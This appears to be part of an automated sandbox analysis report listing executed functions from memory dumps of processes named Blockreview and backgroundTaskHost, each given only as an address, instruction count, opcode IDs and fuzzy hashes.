                  • Instruction Fuzzy Hash: 0DF0C23191D38A8FEB5A9B2488A92A93FA0BF07200F0504BED948C61E3DF7C9404E781
                  Function 00007FFD348B28AD Relevance: .0, Instructions: 33COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000006.00000002.2260078748.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_6_2_7ffd348b0000_Blockreview.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a98ad7521b6b6697c1595afe60428c835a5244857f3437f7cea285dcd3cd62fa
                  • Instruction ID: 8e90b34fbce0df5ad7761f6bcf12703b63274911243efeb2fe75c280cd734fe3
                  • Opcode Fuzzy Hash: a98ad7521b6b6697c1595afe60428c835a5244857f3437f7cea285dcd3cd62fa
                  • Instruction Fuzzy Hash: 7DF0BB31A1D68E8FEB599F2488A92F93BA0FF16300F4014BEE919C61D2DF7D9450E781
                  Function 00007FFD348B0FAB Relevance: .0, Instructions: 14COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000006.00000002.2260078748.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_6_2_7ffd348b0000_Blockreview.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 292d998216c47f30e7aea75f9e5e4a0926a6aa583dc0868b779b1507e619e3bd
                  • Instruction ID: df599bb6990f5ab87f63ff2de7b78b2eea92cc8409251817fe7324629b2e40b7
                  • Opcode Fuzzy Hash: 292d998216c47f30e7aea75f9e5e4a0926a6aa583dc0868b779b1507e619e3bd
                  • Instruction Fuzzy Hash: 78E0EC20E1940D8FE760EB94C874BAD66B1BF46304F1012B5D00EF3586CF786D808F80

                  Executed Functions

                  Function 00007FFD348E2BBA Relevance: .8, Instructions: 772COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b9b9118ad7a56f45f23c7872fb1325a94297a8e3c6a04385228a86dc83cbb9ca
                  • Instruction ID: 6ae68e37c55854a6e02b347a7a039773f450bf47073b93b8c7c03ab1109276dc
                  • Opcode Fuzzy Hash: b9b9118ad7a56f45f23c7872fb1325a94297a8e3c6a04385228a86dc83cbb9ca
                  • Instruction Fuzzy Hash: 9E32EA27A0D1926BE721F7BCA8F64EB3BA4DF4336870C51B7D1488F093ED2D68498255
                  Function 00007FFD348DD55F Relevance: .8, Instructions: 757COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 823b16e8b8af26f2d02d235ea2db8ab69bcc2d448ec15e44a8734cdcead1dabc
                  • Instruction ID: b3e72b9704d784f14a31dc3d32d7afc29e625c7782e1741cb308a239243e187c
                  • Opcode Fuzzy Hash: 823b16e8b8af26f2d02d235ea2db8ab69bcc2d448ec15e44a8734cdcead1dabc
                  • Instruction Fuzzy Hash: 58528E70A1A6198FDB59CF58C4E06B877F1FF5A304F5046BDD84EC7286DA38A982DB40
                  Function 00007FFD348E2EFA Relevance: .4, Instructions: 360COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2d1b8ae88dd4440d9d4b6f8f5ac3ad6abb693781cf422be50f62d786ef523804
                  • Instruction ID: e92c2147d48c06dc159efe51dfe55489a37b7fd4adba45f8cd1a88901c3f0ce3
                  • Opcode Fuzzy Hash: 2d1b8ae88dd4440d9d4b6f8f5ac3ad6abb693781cf422be50f62d786ef523804
                  • Instruction Fuzzy Hash: F2B1F962A0D5925FE726E7BCE8B54EB3BE4EF4332870C11B7D148CB093ED2D68498255
                  Function 00007FFD348C1449 Relevance: 8.9, Strings: 7, Instructions: 159COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: !$"$"$*$-$/$]
                  • API String ID: 0-84170844
                  • Opcode ID: 4127b0e833f93d816b6458143c1812d86f1d850526e3a3cd0ac53946e603db45
                  • Instruction ID: ee87324957307279362e3ad50f876d1ccb05f0f6dec95255daf95bd3a3b0db46
                  • Opcode Fuzzy Hash: 4127b0e833f93d816b6458143c1812d86f1d850526e3a3cd0ac53946e603db45
                  • Instruction Fuzzy Hash: 1171F274E082298EEB68DF65C9E47FDB6B1AF46301F1041AAD14DE7281CB785A84EF50
                  Function 00007FFD348C1C74 Relevance: 5.1, Strings: 4, Instructions: 64COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: #$)$/$]
                  • API String ID: 0-3416654705
                  • Opcode ID: 2ffd24da1fc8fa6bbfc764efa29b5aa5e11412be52ab0ed735078ada5d419546
                  • Instruction ID: d2b4ba3010da90dee07c9f53b0dfb8ff84c95501cafd16ea9b39d3c49bd4ffa1
                  • Opcode Fuzzy Hash: 2ffd24da1fc8fa6bbfc764efa29b5aa5e11412be52ab0ed735078ada5d419546
                  • Instruction Fuzzy Hash: 8C210474E0822D8FEB68DF55C8E46ECB7B1EB15311F10416AD119A7291CB786A84DF80
                  Function 00007FFD348BF463 Relevance: 5.1, Strings: 4, Instructions: 61COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: D$k${$}
                  • API String ID: 0-4150254743
                  • Opcode ID: acf183a3537bdb6299ec7008930a84280e52fd4fc334d6dcaa46e21eef6f68e1
                  • Instruction ID: 469acfefb62e88b8db7a7ed08c8575e442a38b536f6d101bccabe4ca74a575a8
                  • Opcode Fuzzy Hash: acf183a3537bdb6299ec7008930a84280e52fd4fc334d6dcaa46e21eef6f68e1
                  • Instruction Fuzzy Hash: D321C770A086298FDBA8DF14C8A07F9B7B1AB55301F1081A9D60DD2291CF786AC5DF84
                  Function 00007FFD348BF770 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: V$k
                  • API String ID: 0-3170423398
                  • Opcode ID: 3f4e408f7135b5385101ad842ca3ae57a97e91743243b340bc18f22c0a5e33ee
                  • Instruction ID: 4f5bba8a133266cd7e91908add38f20ad717880c7221c9abf66c36508f09d0aa
                  • Opcode Fuzzy Hash: 3f4e408f7135b5385101ad842ca3ae57a97e91743243b340bc18f22c0a5e33ee
                  • Instruction Fuzzy Hash: 26413C71A08A198FEBA9DB18CCA5BA9B7B5FB59300F1441EAD10DD3291CE756EC1CF40
                  Function 00007FFD348BF136 Relevance: 2.6, Strings: 2, Instructions: 114COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: V$k
                  • API String ID: 0-3170423398
                  • Opcode ID: e12d3010d7929ec4a58090df632d8d1d4e441933c6b6fcec5b8273af06a857f8
                  • Instruction ID: 8d2ec480e7b5e0ace9a7871c86880012fb92f49fbb03e038c853fdd049b89e1b
                  • Opcode Fuzzy Hash: e12d3010d7929ec4a58090df632d8d1d4e441933c6b6fcec5b8273af06a857f8
                  • Instruction Fuzzy Hash: 9A413D71A08A198FEBA9DB18CCA5BA9B7B5FB58300F1441EAD10DD3291CE756E81CF40
                  Function 00007FFD348BF85A Relevance: 2.6, Strings: 2, Instructions: 57COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: `$k
                  • API String ID: 0-2619231044
                  • Opcode ID: a1530105cddc62c86a20c6cd55f3cb493f80455ec246825ed1f02f25b9d4c74a
                  • Instruction ID: 7a3faa7734f39e03a6ff3f738bc7c71056b7633da520653936c2032efa621827
                  • Opcode Fuzzy Hash: a1530105cddc62c86a20c6cd55f3cb493f80455ec246825ed1f02f25b9d4c74a
                  • Instruction Fuzzy Hash: 74219570A186298FDBA8DF54C8A4BA9B7B5EF59301F1041E9D10DE2295CF786AC4DF80
                  Function 00007FFD348CB31A Relevance: 1.7, Strings: 1, Instructions: 443COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: c
                  • API String ID: 0-112844655
                  • Opcode ID: e5b15de16df6255c731b722bd1c6bcc96abec86c445095d0ad57a12ac7fd2f90
                  • Instruction ID: 3bdb3181bd7b78b93c5d1459cc68d1e21d9d1d0eb28e6fcdb984edee6f1667e6
                  • Opcode Fuzzy Hash: e5b15de16df6255c731b722bd1c6bcc96abec86c445095d0ad57a12ac7fd2f90
                  • Instruction Fuzzy Hash: C0E1E430B4CD498FD7A8DB1CD9A56B873D1FF5A311F1402BAD54DC7692DE28AC068780
                  Function 00007FFD348DCE12 Relevance: 1.6, Strings: 1, Instructions: 327COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: UJ_H
                  • API String ID: 0-3854475427
                  • Opcode ID: 16afb3ce62e3ac7b0e9dfbc3b0d2b781ab2a481aeddb968000bbed23c0c3ad13
                  • Instruction ID: b789807de5836d802c19a0d1baeca3aae918f6608d9bb5f1b07a2c6b81526c51
                  • Opcode Fuzzy Hash: 16afb3ce62e3ac7b0e9dfbc3b0d2b781ab2a481aeddb968000bbed23c0c3ad13
                  • Instruction Fuzzy Hash: FCC1B270B0AA869FE749DB68D0A06B4B7E1FF5B300F544279D54EC7A86CB38B851C790
                  Function 00007FFD348DB05B Relevance: 1.5, Strings: 1, Instructions: 231COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: sU_H
                  • API String ID: 0-2006823948
                  • Opcode ID: 7738e41402bc587c7cad7f882cf661854186eb6c5766c304d516d9f9f6231cfb
                  • Instruction ID: 8346fe22cfbcfafeaf6eecd7151a456d5bcca02ec80de472d10b0045a25b2c17
                  • Opcode Fuzzy Hash: 7738e41402bc587c7cad7f882cf661854186eb6c5766c304d516d9f9f6231cfb
                  • Instruction Fuzzy Hash: 6271B131E1E64E8FEB64EBA884A46BCBBB1FF4B300F100679D10ED7191DE286841E740
                  Function 00007FFD348B0CD8 Relevance: 1.4, Strings: 1, Instructions: 190COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: xwz4
                  • API String ID: 0-706038899
                  • Opcode ID: 80dcef09e046307c725af700e0a6251865172f6ef2e656b0b8415f9aff8dc83b
                  • Instruction ID: 8d5f08fd5bc58d3f342524a164e8ed28b119ffc065a7d585a206187ad6007e4e
                  • Opcode Fuzzy Hash: 80dcef09e046307c725af700e0a6251865172f6ef2e656b0b8415f9aff8dc83b
                  • Instruction Fuzzy Hash: 8361E771F0DA094FEBA8EB6484A57A8B7A1EF53310F0442B9D14DE71D2DE7878459B80
                  Function 00007FFD348CE318 Relevance: 1.4, Strings: 1, Instructions: 164COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID: 0-3916222277
                  • Opcode ID: 5362f68616f68be333aacf5ff955cd7b1ba8c06e097ab40e42a34211c5652a73
                  • Instruction ID: 79324b768435403d772499e32f6d091662faa299b79e47c8bd67652ba35f031f
                  • Opcode Fuzzy Hash: 5362f68616f68be333aacf5ff955cd7b1ba8c06e097ab40e42a34211c5652a73
                  • Instruction Fuzzy Hash: FD512B71E0860A9FDB59DBA8C5A55BCFBB1FF49300F1441BBD10EE7282CA386905DB50
                  Function 00007FFD348D4848 Relevance: 1.4, Strings: 1, Instructions: 160COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID: 0-3916222277
                  • Opcode ID: 615063a337448c2af4df43f8f4d6911776b7ffa6c16f3eec4c223cd878695614
                  • Instruction ID: e5f12c2b345b21bcfdba136088d2125ae3ea6cb8904dc7cc3eaccb2e6093f8ef
                  • Opcode Fuzzy Hash: 615063a337448c2af4df43f8f4d6911776b7ffa6c16f3eec4c223cd878695614
                  • Instruction Fuzzy Hash: 69518D31E0A64E9FDB49DB98C4A15FDB7B1FF5A700F1442BEC10AE7296CA386805DB50
                  Function 00007FFD348DD2E8 Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID: 0-3916222277
                  • Opcode ID: 61d68e401258b2cc53259efdab4fc5bc1720fffc562ae86e9865ebe7da830b2b
                  • Instruction ID: 2492cf56997325ad675040c945cfe531f601464125ca5c120129bfb4bb7ae162
                  • Opcode Fuzzy Hash: 61d68e401258b2cc53259efdab4fc5bc1720fffc562ae86e9865ebe7da830b2b
                  • Instruction Fuzzy Hash: 1E516D31E0A64A8FDB59DF98C4A05FDB7F1FF4A304F1042BAD11AE7292DA386905CB50
                  Function 00007FFD348C56CD Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: 8my4
                  • API String ID: 0-2342347051
                  • Opcode ID: 0f190a624bb9d3304719d40f3725ebd8c00745f595e2be37f8d6e52f400e7ccd
                  • Instruction ID: 82d93b9ea0fba40937ef092771b1cfc4b86ef08710048454cb1f46dfc44bf1f4
                  • Opcode Fuzzy Hash: 0f190a624bb9d3304719d40f3725ebd8c00745f595e2be37f8d6e52f400e7ccd
                  • Instruction Fuzzy Hash: 46511E71E59A1D8FEF94DB68C8A96ADBBF1FF59300F10016AD00DE7291DF34A8818B40
                  Function 00007FFD348C890D Relevance: 1.3, Strings: 1, Instructions: 87COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: zoE
                  • API String ID: 0-2531929735
                  • Opcode ID: 92f36f77f1169f19e34f67192697dc36b7feeec3e0683f3166b29fa76ef6880b
                  • Instruction ID: 0778e8a2d4a2dc2d0cc269abde92c22367e8d33fac16239e3495f1abfc93631b
                  • Opcode Fuzzy Hash: 92f36f77f1169f19e34f67192697dc36b7feeec3e0683f3166b29fa76ef6880b
                  • Instruction Fuzzy Hash: D121AD32E4891D8FDFA9DB5894956FDF3A1FF25301F10157AD14EE3182CE786981AB40
                  Function 00007FFD348CBD22 Relevance: 1.3, Strings: 1, Instructions: 81COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: hK_H
                  • API String ID: 0-3862817512
                  • Opcode ID: 7ba2a4d0025fef315a9f7e79452bcb86d469b27fdd035090143bec47ac81642c
                  • Instruction ID: 4c881dab28a8410d22b8e4274c48e47c90020fe91c1233b72920dfa35f970a94
                  • Opcode Fuzzy Hash: 7ba2a4d0025fef315a9f7e79452bcb86d469b27fdd035090143bec47ac81642c
                  • Instruction Fuzzy Hash: D721E871E1891D9FDF98DB58D4A5AECB7B1FF69300F0001AAD10EE3291CA35AD81CB40
                  Function 00007FFD348B120D Relevance: 1.3, Strings: 1, Instructions: 61COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: Pyz4
                  • API String ID: 0-1158538920
                  • Opcode ID: 4b6e2831863c8defb0416039945c94287cc9527f3c381b31dd7e5b729320e79f
                  • Instruction ID: 60a7834ac908cb930fa691c05c0b75ae18773d36d10c1a8953486e4d7c601d3d
                  • Opcode Fuzzy Hash: 4b6e2831863c8defb0416039945c94287cc9527f3c381b31dd7e5b729320e79f
                  • Instruction Fuzzy Hash: 5511BF70A0D64A4EEB99DB6884E92F97BE0FF5B311F0004BED51ACA1D2DEA9A444D740
                  Function 00007FFD348B1220 Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: Pyz4
                  • API String ID: 0-1158538920
                  • Opcode ID: 08b159d6ecef9510b723354eadd86e3964bb26f8862c94172a427c3dbe36e6ac
                  • Instruction ID: 60c7598383f7742f130868680ffcb15a9548cc7197809c493ca04e226165b5ea
                  • Opcode Fuzzy Hash: 08b159d6ecef9510b723354eadd86e3964bb26f8862c94172a427c3dbe36e6ac
                  • Instruction Fuzzy Hash: 59F0F430A0D54F4EEF94DB6884A82FA77E0FF57305F00003AD45AC50C1DE685004D240
                  Function 00007FFD348DB270 Relevance: .7, Instructions: 700COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e24d688865b9456ca85fe3ad77ebc79204ef01edb8d97e24326fab22fc3f5c87
                  • Instruction ID: 6ad5a1555425ce2469694f6b3a0be2cedaec02f2a5fd35290d290f6f83eb1e97
                  • Opcode Fuzzy Hash: e24d688865b9456ca85fe3ad77ebc79204ef01edb8d97e24326fab22fc3f5c87
                  • Instruction Fuzzy Hash: 0C32A730B1AA198FDB98DB0CC8A5A7877E2FF56311F1442B9D10EC7292DE28EC45DB40
                  Function 00007FFD348DF72D Relevance: .4, Instructions: 443COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: eacc6ce55994df173f85566a71486155394d3a4883bfe4aa211b7d8c6af9fe5f
                  • Instruction ID: 13f94626f261058f36643a87c9d9a21208eb53c7689893bf40aba2d90484d7a8
                  • Opcode Fuzzy Hash: eacc6ce55994df173f85566a71486155394d3a4883bfe4aa211b7d8c6af9fe5f
                  • Instruction Fuzzy Hash: CC61C536B0E59A5FE711A7ADA4B04ED3BB0EF86324B080277D248DB183DE2C68469751
                  Function 00007FFD348CE58F Relevance: .4, Instructions: 433COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0b7b97742a926b7c36f25fbc98835b01596700364afb4362eae1b80f87045334
                  • Instruction ID: e69f58e0e38512cbdc808932875827d39b15455c9dcedca876cb297f49a2c85b
                  • Opcode Fuzzy Hash: 0b7b97742a926b7c36f25fbc98835b01596700364afb4362eae1b80f87045334
                  • Instruction Fuzzy Hash: F2F1D130A186558FEB59CF18C5E16B5B7A1FF46300F5446BED94ACB68BCA3CE881DB40
                  Function 00007FFD348DE5A1 Relevance: .4, Instructions: 407COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 454b2ebacc47473b9c29cd70ef15dccf5298f10d1e33235fd74ff7af1ce0e82f
                  • Instruction ID: 07c4883d9f2988936eb0b8fa0c4850dbf3d1d9f7314df37b8d965f6bd7e1c07d
                  • Opcode Fuzzy Hash: 454b2ebacc47473b9c29cd70ef15dccf5298f10d1e33235fd74ff7af1ce0e82f
                  • Instruction Fuzzy Hash: 53D1CF30A0FA468FE3A9DB28D4E15B577E1FF57300B24467EC58AC3686DA2DB842D741
                  Function 00007FFD348DF78F Relevance: .4, Instructions: 393COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 32995eb0e0e026040e943e3abbaf2e27ba6d0ecf1db13e4c15a2e7dae0138c48
                  • Instruction ID: 7d58a02b63620f053a6dc99814dcbbbf72d85e1d9d2c8f885766d55316181c9e
                  • Opcode Fuzzy Hash: 32995eb0e0e026040e943e3abbaf2e27ba6d0ecf1db13e4c15a2e7dae0138c48
                  • Instruction Fuzzy Hash: 2451D531A0E18A9FD755EBACA8B05ED3BB0EF47324B08027BC249D7193DE2C68469751
                  Function 00007FFD348D59B7 Relevance: .4, Instructions: 369COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: fb9bc8343bd2c1d3d85e6b6da0db7d28989e618f4d37bea3ecf2158da4655cb0
                  • Instruction ID: b5f6dc6f59bfb1dee25fb743f33630eb8df0f7e456395fafed925e4406cdf4ef
                  • Opcode Fuzzy Hash: fb9bc8343bd2c1d3d85e6b6da0db7d28989e618f4d37bea3ecf2158da4655cb0
                  • Instruction Fuzzy Hash: B0C1D130B0FB468FE3A98B28D0E457577E1FF57310B244A7EC14AC7682DA2DB8469B41
                  Function 00007FFD348C5DB0 Relevance: .4, Instructions: 368COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a78e503c51c3fb7bcc85b0a953fb896fb7920f1b2865a19fb2dd1df447355f7b
                  • Instruction ID: 7881336ea8c6a2cefec7b7652ad9f14bde8dad1399badca68a4aa51c74098313
                  • Opcode Fuzzy Hash: a78e503c51c3fb7bcc85b0a953fb896fb7920f1b2865a19fb2dd1df447355f7b
                  • Instruction Fuzzy Hash: 2ED19270A0892D8FDBA4EB18C895BE9B7B1FF59300F5041EAD10DE3291DA79AD81DF40
                  Function 00007FFD348CE5AF Relevance: .3, Instructions: 337COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2fd16749e2242f288170f130949a63772e1de097c4c75c27a47d675649a0337f
                  • Instruction ID: b21facee7864d8d6215d19cadc3d975db4255ee243270c279e740397afed60b9
                  • Opcode Fuzzy Hash: 2fd16749e2242f288170f130949a63772e1de097c4c75c27a47d675649a0337f
                  • Instruction Fuzzy Hash: 03C1BF30A185568BEB59CF14C1E15B1B7A1FF46310B5445BED98ACB68BCA3CF882DB41
                  Function 00007FFD348DD57F Relevance: .3, Instructions: 336COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
